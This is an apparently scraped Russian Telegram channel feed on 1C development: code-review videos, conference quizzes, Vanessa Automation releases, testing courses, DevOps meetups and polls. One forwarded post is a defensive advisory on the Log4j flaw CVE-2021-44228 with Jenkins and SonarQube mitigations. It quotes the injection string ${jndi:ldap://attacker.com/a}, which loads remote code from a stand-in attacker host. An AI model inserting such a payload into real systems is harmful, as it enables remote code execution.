🔎 Некоторое время назад я проводил опрос про код-ревью — хотел написать статью на эту тему и собирал к ней материал.
Подготовка к конференции и другие интересные рабочие задачи перетянули максимум внимания на себя, и черновик статьи, как бывает, ушел в стол.
А на прошлой неделе ютуб мне в рекомендациях подогнал свежее видео Яндекс.Академии с крутой лекцией Сергея Хандрикова о код-ревью:
👉 https://www.youtube.com/watch?v=YcdMet5j4qM
Там более 2х часов систематизированной информации о код-ревью. И нет, это не что-то абстрактное и академическое, а реальные практические советы. Там не только, что я хотел написать, а гораздо больше, более системно и без воды (что для двухчасового видео удивительно).
Особенно понравилось, что Сергей рассказал о код-ревью с обеих сторон: и с точки зрения автора кода, и с точки зрения ревьюера и разобрал различные типичные сценарии диалогов между ними в процессе ревью.
Есть в конце про нюансы код-ревью опенсорсных проектов.
👍👍 Обязательно для просмотра всем кто так или иначе связан с разработкой и независимо от того, проводит ли код-ревью ваша команда или нет.
Подготовка к конференции и другие интересные рабочие задачи перетянули максимум внимания на себя, и черновик статьи, как бывает, ушел в стол.
А на прошлой неделе ютуб мне в рекомендациях подогнал свежее видео Яндекс.Академии с крутой лекцией Сергея Хандрикова о код-ревью:
👉 https://www.youtube.com/watch?v=YcdMet5j4qM
Там более 2х часов систематизированной информации о код-ревью. И нет, это не что-то абстрактное и академическое, а реальные практические советы. Там не только, что я хотел написать, а гораздо больше, более системно и без воды (что для двухчасового видео удивительно).
Особенно понравилось, что Сергей рассказал о код-ревью с обеих сторон: и с точки зрения автора кода, и с точки зрения ревьюера и разобрал различные типичные сценарии диалогов между ними в процессе ревью.
Есть в конце про нюансы код-ревью опенсорсных проектов.
👍👍 Обязательно для просмотра всем кто так или иначе связан с разработкой и независимо от того, проводит ли код-ревью ваша команда или нет.
YouTube
15. Код-ревью – Сергей Хандриков
На лекции рассказывается о том, что такое практика код-ревью, чем важна для процесса разработки и какие задачи решает. Даны рекомендации о проведении процесса код-ревью как для автора изменений, так и для ревьювера. Рассмотрены ситуационные примеры взаимодействия…
Принципиально отказывался от публикации рекламы в этом канале, но она теперь тут добровольно-принудительно ☹️
На только что прогремевшем Infostart Event 2021 Moscow Premiere во второй день конференции был квест, одним из заданий которого была вот такая задачка, которую мы придумали с коллегами из ИТ-лаборатории Инфостарта. Технари решали самостоятельно, а управленцам нужно было найти программиста, который бы ее решил.
Попробуете тоже решить?
Попробуете тоже решить?
Какое значение будет в переменной А после выполнения кода на скриншоте в сообщении выше?
Anonymous Poll
28%
Код не пройдет синтаксический контроль
5%
"Инфостарт"
45%
42
16%
Неопределено
5%
Ох, какую знакомую боль Самат описал. Уверен, вы тоже с таким сталкивались:
Начинается новый бизнес, сильно завязанный на софте. Первое время, все классно: один программист — хорошо, два — почти в два раза лучше. 10 программистов — можно делать вещи, о которых раньше и помыслить было нельзя.
Через 3-6 лет в компании уже 50 разработчиков. Продукт при этом практически не развивается, фичи доставляются разработкой в продакшен со скорость улитки. Добавьте к этому зарплаты разработчиков в 100-400 тысяч в месяц и вы можете представить, что чувствует бизнес. Почему так?
А происходило вот что: все эти годы, каждый раз, когда нужно было выбрать между «сделать фичу побыстрее прямо сейчас» и «сделать так, чтобы это можно было потом поддерживать, пусть и подольше прямо сейчас» — бизнес с разработкой вместе выбирали первый вариант. Логично, что рано или поздно гора неподдерживабельного кода становится слишком высокой и уже никто не может докинуть ещё что-то сверху.
(Продолжение см. по ссылке)
Начинается новый бизнес, сильно завязанный на софте. Первое время, все классно: один программист — хорошо, два — почти в два раза лучше. 10 программистов — можно делать вещи, о которых раньше и помыслить было нельзя.
Через 3-6 лет в компании уже 50 разработчиков. Продукт при этом практически не развивается, фичи доставляются разработкой в продакшен со скорость улитки. Добавьте к этому зарплаты разработчиков в 100-400 тысяч в месяц и вы можете представить, что чувствует бизнес. Почему так?
А происходило вот что: все эти годы, каждый раз, когда нужно было выбрать между «сделать фичу побыстрее прямо сейчас» и «сделать так, чтобы это можно было потом поддерживать, пусть и подольше прямо сейчас» — бизнес с разработкой вместе выбирали первый вариант. Логично, что рано или поздно гора неподдерживабельного кода становится слишком высокой и уже никто не может докинуть ещё что-то сверху.
(Продолжение см. по ссылке)
Telegram
запуск завтра
Закончил на днях технический аудит очередного клиента. Хочу поделиться историей, которую вижу буквально в каждом втором случае.
Начинается новый бизнес, сильно завязанный на софте. Первое время, все классно: один программист — хорошо, два — почти в два…
Начинается новый бизнес, сильно завязанный на софте. Первое время, все классно: один программист — хорошо, два — почти в два…
Forwarded from SilverBulleter's, LLC (Oleg Tymko)
❗️Уязвимость в библиотеке Log4j в экосистеме Java
Думаю многие, как и мы привыкли в стеке разработки использовать такие сервисы как Jenkins и SonarQube. Эти приложения написаны на языке Java и могут быть подвержены уязвимости CVE-2021-44228, исходящей от библиотеки Log4j версии 2.
Проблема вызвана тем, что Log4j2 поддерживает обработку специальных масок "{}" в выводимых в лог строках, в которых могли выполняться запросы
Как себя обезопасить?🤔
⚙️Jenkins
В Jenkins Core эта библиотека не используется, но не исключает ее наличие в плагинах. Для проверки наличия уязвимости вам нужно зайти в
Но если будет выведен путь и имя плагина, где все же используется библиотека, вам нужно будет удалить этот плагин, перезапустить сервис Jenkins и повторно выполнить скрипт в Консоли сценариев.
Официальный источник информации: Apache Log4j 2 vulnerability CVE-2021-44228.
⚙️SonarQube
Что касается сервиса SonarQube, то библиотека используется только в модуле ElasticSearch. Чтобы обезопасить сервис, нужно в конфигурационный файл SonarQube или переменную среды добавить
В конфигурационном файле
Официальный источник информации: SonarQube and the Log4J vulnerability.
Думаю многие, как и мы привыкли в стеке разработки использовать такие сервисы как Jenkins и SonarQube. Эти приложения написаны на языке Java и могут быть подвержены уязвимости CVE-2021-44228, исходящей от библиотеки Log4j версии 2.
Проблема вызвана тем, что Log4j2 поддерживает обработку специальных масок "{}" в выводимых в лог строках, в которых могли выполняться запросы
JNDI
(Java Naming and Directory Interface). Атака сводится к передаче строки с подстановкой ${jndi:ldap://attacker.com/a}
, при обработке которой Log4j 2 отправит на сервер attacker.com
LDAP-запрос пути к Java-классу. Возвращённый сервером атакующего путь (например, https://second-stage.attacker.com/Exploit.class
) будет загружен и выполнен в контексте текущего процесса, что позволяет атакующему добиться выполнения произвольного кода в системе с правами текущего приложения (информация взята из источника).Как себя обезопасить?🤔
⚙️Jenkins
В Jenkins Core эта библиотека не используется, но не исключает ее наличие в плагинах. Для проверки наличия уязвимости вам нужно зайти в
Консоль сценариев
(Настроить Jenkins
-> Управление средами сборки
-> узел master
или built-in
-> Консоль сценариев
) и выполнить скрипт:org.apache.logging.log4j.core.lookup.JndiLookup.class.protectionDomain.codeSourceЕсли выполнение скрипта привело к ошибке вида
groovy.lang.MissingPropertyException: No such property: org for class: Script1
, то библиотека Log4j2 в плагинах не используется.Но если будет выведен путь и имя плагина, где все же используется библиотека, вам нужно будет удалить этот плагин, перезапустить сервис Jenkins и повторно выполнить скрипт в Консоли сценариев.
Официальный источник информации: Apache Log4j 2 vulnerability CVE-2021-44228.
⚙️SonarQube
Что касается сервиса SonarQube, то библиотека используется только в модуле ElasticSearch. Чтобы обезопасить сервис, нужно в конфигурационный файл SonarQube или переменную среды добавить
-Dlog4j2.formatMsgNoLookups=true
.В конфигурационном файле
sonar.properties
нужно добавить или изменить настройку sonar.search.javaAdditionalOpts
, например:sonar.search.javaAdditionalOpts=-Dlog4j2.formatMsgNoLookups=trueИли через переменную среды в системе, контейнере и т.п:
SONAR_SEARCH_JAVAADDITIONALOPTS=-Dlog4j2.formatMsgNoLookups=trueПосле указания настройки нужно перезапустить сервис SonarQube.
Официальный источник информации: SonarQube and the Log4J vulnerability.
Forwarded from Никита Федькин - мысли, заметки, анонсы
Вы наверное уже догадались, но теперь официально (с)!
Сегодня вечером в 19.00 по Москве будет проходить онлайн-игра"Что, Где, Когда" "Что, Если, Тогда".
Помимо интересных вопросов от телезрителей будут ещё и музыкальные паузы, в том числе с вот теми ребятами из Весёлого1С, которые сочиняли текст про "внешне все красиво, внутри полный одинэс".
Заглядывайте на огонёк, будут премьеры ;)
https://infostart.ru/journal/news/mir-1s/komanda-telezriteley-sobrana-proverim-znaniya-znatokov-na-onlayn-igre-chto-esli-togda_1575357/
Сегодня вечером в 19.00 по Москве будет проходить онлайн-игра
Помимо интересных вопросов от телезрителей будут ещё и музыкальные паузы, в том числе с вот теми ребятами из Весёлого1С, которые сочиняли текст про "внешне все красиво, внутри полный одинэс".
Заглядывайте на огонёк, будут премьеры ;)
https://infostart.ru/journal/news/mir-1s/komanda-telezriteley-sobrana-proverim-znaniya-znatokov-na-onlayn-igre-chto-esli-togda_1575357/
infostart.ru
Команда «телезрителей» собрана: проверим знания «знатоков» на онлайн-игре «Что Если Тогда»
Сегодня, 23 декабря 2021 года, в 19:00 состоится интеллектуальная онлайн-игра для 1С-ников. «Телезрители» подготовили свои вопросы и ждут эфира, чтобы проверить эрудицию команды «знатоков».
🥒 В Vanessa Automation очередной большой релиз, обо всем подробно написала Вика в новости, повторяться не буду:
https://infostart.ru/journal/news/mir-1s/vanessa-automation-1-2-038-interaktivnaya-spravka-i-testirovanie-mobilnykh-prilozheniy_1576937/
Но отмечу пару интересных фич:
— Интерактивные уроки, реализованные средствами VA. В дополнение к ним недавно (в этом релизе пока нет) Дима Шерстобитов придумал/добавил механизм для реализации онбординга/интерактивного обучения пользователей, которое можно реализовать и внедрить прямо в информационной базе.
— Поддержка тестирования мобильного клиента и приложений на мобильной платформе (соответствующее API в платформе 1С:Предприятия было добавлено в релизах 8.3.19 и в 8.3.20 соответственно). Как я понимаю, тут тоже Дмитрий приложил руку.
https://infostart.ru/journal/news/mir-1s/vanessa-automation-1-2-038-interaktivnaya-spravka-i-testirovanie-mobilnykh-prilozheniy_1576937/
Но отмечу пару интересных фич:
— Интерактивные уроки, реализованные средствами VA. В дополнение к ним недавно (в этом релизе пока нет) Дима Шерстобитов придумал/добавил механизм для реализации онбординга/интерактивного обучения пользователей, которое можно реализовать и внедрить прямо в информационной базе.
— Поддержка тестирования мобильного клиента и приложений на мобильной платформе (соответствующее API в платформе 1С:Предприятия было добавлено в релизах 8.3.19 и в 8.3.20 соответственно). Как я понимаю, тут тоже Дмитрий приложил руку.
infostart.ru
Vanessa Automation 1.2.038: интерактивная справка и тестирование мобильных приложений
Начиная с релиза 1.2.038 изучить работу с фреймворком Vanessa Automation стало гораздо проще: узнать подробное описание всех элементов интерфейса и познакомиться со всеми особенностями синтаксиса языка Gherkin теперь можно прямо из обработки.
🔥2👍1
И что бы "дважды не вставать", продолжу тему про VA, Шерстобитова 😎 и уроки по тестированию еще небольшим комментарием-новостью, т.к. я слышал, что есть те, кто пропустил.
До недавнего времени из структурированных учебных материалов (а не разрозненных видеоинструкций/записей митапов) по тестированию были по сути только серия публикаций Владимира Литвиненко по Vanessa ADD и обзорный блок по тестированию в составе курса "DevOps в 1С" Инфостарта.
Но буквально на днях к ним добавился курс на платформе курсы-по-1с.рф "Сценарное тестирование в 1С", который стартанул на прошлой неделе. Его записывала и проводит Наталья Трухачева, QA из IRP Team, которую вы, если интересуетесь темой тестирования в 1С, должны знать по выступлениями на онлайн-митапе Инфостарта и на Infostart Event в мае 2021 года.
Курс, если судить по тому, что я успел посмотреть, получился интересный, Наталья, Дмитрий и все, кто приложил к нему руку, молодцы! 👍
По многочисленным просьбам участников летнего потока курса "DevOps в 1С" (да и не только) мы в Инфостарте тоже делаем самостоятельный курс по тестированию (и скорее всего не один) и тем самым, надеемся, вопросы "А как вкатиться в тестирование в 1С?" закроются по большей части.
До недавнего времени из структурированных учебных материалов (а не разрозненных видеоинструкций/записей митапов) по тестированию были по сути только серия публикаций Владимира Литвиненко по Vanessa ADD и обзорный блок по тестированию в составе курса "DevOps в 1С" Инфостарта.
Но буквально на днях к ним добавился курс на платформе курсы-по-1с.рф "Сценарное тестирование в 1С", который стартанул на прошлой неделе. Его записывала и проводит Наталья Трухачева, QA из IRP Team, которую вы, если интересуетесь темой тестирования в 1С, должны знать по выступлениями на онлайн-митапе Инфостарта и на Infostart Event в мае 2021 года.
Курс, если судить по тому, что я успел посмотреть, получился интересный, Наталья, Дмитрий и все, кто приложил к нему руку, молодцы! 👍
По многочисленным просьбам участников летнего потока курса "DevOps в 1С" (да и не только) мы в Инфостарте тоже делаем самостоятельный курс по тестированию (и скорее всего не один) и тем самым, надеемся, вопросы "А как вкатиться в тестирование в 1С?" закроются по большей части.
👍2
🦉 23 декабря Инфостарт проводил очередную игру "Что Если Тогда" в онлайн-формате (запись) с бессменным ведущим Константином Гейнрихом (подписывайтесь на его канал 1.C. Enterprise, если еще вдруг не подписаны).
Главный реквизит игры — рулетка и телевизор — в онлайн-формате эмулируются специальной самодельной конфигурацией. После игры поступило много предложений и замечаний к внешнему виду экранных форм этой конфигурации. Поэтому, чтобы улучшать решение можно было не только словами, Константин разместил исходники конфигурации в открытый доступ. Как говорится, ждем ваших PR:
https://github.com/KonstantinHeinrich/WhatIfThen
🥳
Главный реквизит игры — рулетка и телевизор — в онлайн-формате эмулируются специальной самодельной конфигурацией. После игры поступило много предложений и замечаний к внешнему виду экранных форм этой конфигурации. Поэтому, чтобы улучшать решение можно было не только словами, Константин разместил исходники конфигурации в открытый доступ. Как говорится, ждем ваших PR:
https://github.com/KonstantinHeinrich/WhatIfThen
🥳
❤2
Forwarded from Криця Evhen Sosna 🇺🇦
На самом деле это должна быть статья как пользоваться git2reposync какие gitattributes надо прописать для version файла чтоб не было конфликтов и не надо их ручками разгребать или как хорошо разрабатывать в edt и автоматом синхронизироваться с хранилищем которое тут же синхронизируется с git и такая рекурсия прекрасна , но решил пофилософствовать и описать один из процессов выпуска релизов , про который я думал в первый раз " ну ничего себе уникальные грабли ", а когда столкнулся с таким же несколько раз , то думаю надо что-то менять https://infostart.ru/1c/articles/1580931/
infostart.ru
Релиз-менеджмент в 1С
Релиз - менеджмент - страшный и трудный процесс, заросший анахронизмами. В этой статье попытка переосмыслить старые процессы и применить современные инструменты для оптимизации, улучшения всего процесса релиз-менеджмента.
🔥7👍4😱2
🛠 Сегодня только с коллегами обсуждали существующую движуху представителей сообщества 1С в ютубе и вспоминали в очередной раз крутой канал "Команда ИТК", о котором я уже рассказывал, и тут у них как раз новое видео с обзором Infostart Toolkit'а:
https://www.youtube.com/watch?v=mGLJbp0qROg
Видеообзор от реального пользователя — круче любой рекламы, желаю каждому разработчику продуктов такого 👍
Канал автора проекта "Команда ИТК" на ютубе: @simplelogic
Канал Тулкита в телеграме: @mid8_1c
https://www.youtube.com/watch?v=mGLJbp0qROg
Видеообзор от реального пользователя — круче любой рекламы, желаю каждому разработчику продуктов такого 👍
Канал автора проекта "Команда ИТК" на ютубе: @simplelogic
Канал Тулкита в телеграме: @mid8_1c
YouTube
Техкружок #2.1 Infostart Toolkit. Обзор инструментов
Дима Синичников сделал для команды обзор инструментов Infostart Toolkit (1.9.5)
Чтобы материал не сочли за рекламу, ссылку на библиотеки приводить не будем.
В контексте нашего обсуждения упоминались библиотеки инструментов:
1. https://github.com/cpr1c/tools_ui_1c…
Чтобы материал не сочли за рекламу, ссылку на библиотеки приводить не будем.
В контексте нашего обсуждения упоминались библиотеки инструментов:
1. https://github.com/cpr1c/tools_ui_1c…
👍12
В продолжении предыдущего поста хочу повторить опрос коллег из Команды ИТК 👇
Кликабельные ссылки на инструменты из опроса:
— Инструменты Разработчика от TormozIt
— Infostart Toolkit
— Запросник
— Консоль запросов 9000
#опрос
Кликабельные ссылки на инструменты из опроса:
— Инструменты Разработчика от TormozIt
— Infostart Toolkit
— Запросник
— Консоль запросов 9000
#опрос
🎉3
Какую консоль для отладки запросов вы используете в своей работе?
Anonymous Poll
28%
🥸 Типовую консоль запросов с ИТС
28%
🤓 Консоль из подсистемы Инструменты Разработчика от TormozIt (https://infostart.ru/public/15126/)
11%
😎 Infostart Toolkit (https://infostart.ru/public/1254364/)
9%
🧐 Запросник (https://infostart.ru/public/72969/)
9%
🙂 Консоль запросов 9000 (https://infostart.ru/public/1190868/)
12%
🤠 Ого, а так можно было?
17%
❓Другое
👍3🤩2👎1
🛠 18 февраля (это будет пятница) Инфостарт проведет митап "Опыт применения DevOps-практик в командах разработки на 1С".
К митапу мы хотели бы собрать небольшую статистику по состоянию процессов разработки в командах 1Сников, буду очень признателен, если вы ответите на несколько простых вопросов.
➡️ Пройти опрос
Будет круто, если перешлете ссылку на опрос своим коллегам, хочется большего охвата.
И, конечно, приходите послушать доклады и позадавать/пообсуждать вопросы по теме на круглом столе. Митап бесплатный, нужно только зарегистрироваться вот тут:
https://infostart.ru/events/1587539/
Окончательная программам будет утверждена и опубликована буквально завтра/послезавтра, но уже сейчас точно могу сказать, что будем говорить про нюансы внедрения CI/CD при разработке на 1C, про то, как эффективно организовать процессы разработки на 1С, используя промышленные подходы, с какими сложностями при этом приходится столкнуться и как их решать. Все доклады будут исключительно про реальный разносторонний опыт.
К митапу мы хотели бы собрать небольшую статистику по состоянию процессов разработки в командах 1Сников, буду очень признателен, если вы ответите на несколько простых вопросов.
➡️ Пройти опрос
Будет круто, если перешлете ссылку на опрос своим коллегам, хочется большего охвата.
И, конечно, приходите послушать доклады и позадавать/пообсуждать вопросы по теме на круглом столе. Митап бесплатный, нужно только зарегистрироваться вот тут:
https://infostart.ru/events/1587539/
Окончательная программам будет утверждена и опубликована буквально завтра/послезавтра, но уже сейчас точно могу сказать, что будем говорить про нюансы внедрения CI/CD при разработке на 1C, про то, как эффективно организовать процессы разработки на 1С, используя промышленные подходы, с какими сложностями при этом приходится столкнуться и как их решать. Все доклады будут исключительно про реальный разносторонний опыт.
👍11
🔥 Очередной крутой выпуск Техкружка по интересной теме - покрытие кода в 1С.
https://youtu.be/ew-ZTolmB5I
Огромное уважение ребятам за такой подход по распространению знаний у себя в команде и открытость!
Подписывайтесь на канал лидера Техкружка Артема Пластинина @simplelogic (и на канал в ютубе).
https://youtu.be/ew-ZTolmB5I
Огромное уважение ребятам за такой подход по распространению знаний у себя в команде и открытость!
Подписывайтесь на канал лидера Техкружка Артема Пластинина @simplelogic (и на канал в ютубе).
YouTube
Техкружок #2.2 Покрытие кода тестами в 1С
Владимир Ступников и Пластинин Артем рассказали команде о покрытии кода тестами в 1С. Отвлеченно порассуждали на тему применимости TDD в 1С :)
Содержание:
00:00 - Приветствие и содержание доклада
00:45 - О том, что такое качественное ПО
04:38 - О метриках…
Содержание:
00:00 - Приветствие и содержание доклада
00:45 - О том, что такое качественное ПО
04:38 - О метриках…
👍14
Forwarded from i.Need.Lustin (Alexey Lustin)
Я НЕ часто - даю ссылки на публикации про 1С, но тут не могу не поделиться - потому что подобный подход отражает мое персонально отношение как нужно делать
Валентин проделал крутую работу вместе с командой "товарищей" и по заветам "инженерного маркетинга" поделился результатами
Пусть и под корпоративным аккаунтом - зато с github репозиторием
Ну и "сосать действительно плохо"
https://infostart.ru/1c/articles/1606108/
Валентин проделал крутую работу вместе с командой "товарищей" и по заветам "инженерного маркетинга" поделился результатами
Пусть и под корпоративным аккаунтом - зато с github репозиторием
Ну и "сосать действительно плохо"
https://infostart.ru/1c/articles/1606108/
👍6
✅ В Vanessa Automation последние несколько релизов ведется развитие встроенной интерактивной справки и механизмов, которые задействованы для ее реализации. Совсем недавно команда разработчиков VA сгенерировали на основе сценариев интерактивной справки видео и вылили их на специальный канал на YouTube и планируют теперь такой мини-курс создавать для каждого релиза.
Естественно, эти механизмы универсальны и с их помощью можно создавать интерактивные справки/инструкции/онбординги и даже видеокурсы для ваших собственных конфигураций на платформе 1С:Предприятие.
Совсем скоро, фактически через месяц с небольшим, состоится очередная конференция Infostart Event, в этот раз с кодовым названием Saint Petersburg, и в расписании секции "Инструментарий разработчика. Приемы и методы разработки" будет доклад Андрея Полетаева про все эти новые механизмы Vanessa Automation и про то, как их использовать. Доклад называется "Делаем документацию правильно". Приходите!
Для тех, кто еще не успел купить билеты, но собирается, есть небольшой бонус: по промокоду
Естественно, эти механизмы универсальны и с их помощью можно создавать интерактивные справки/инструкции/онбординги и даже видеокурсы для ваших собственных конфигураций на платформе 1С:Предприятие.
Совсем скоро, фактически через месяц с небольшим, состоится очередная конференция Infostart Event, в этот раз с кодовым названием Saint Petersburg, и в расписании секции "Инструментарий разработчика. Приемы и методы разработки" будет доклад Андрея Полетаева про все эти новые механизмы Vanessa Automation и про то, как их использовать. Доклад называется "Делаем документацию правильно". Приходите!
Для тех, кто еще не успел купить билеты, но собирается, есть небольшой бонус: по промокоду
devnotes2022
, который нужно указать при оформлении заказа, можно получить скидку в 10%. Скидка действует на тарифы Онлайн, Стандарт и VIP до 5 сентября.event.infostart.ru
INFOSTART EVENT 2022 SAINT PETERSBURG
🔥12👍4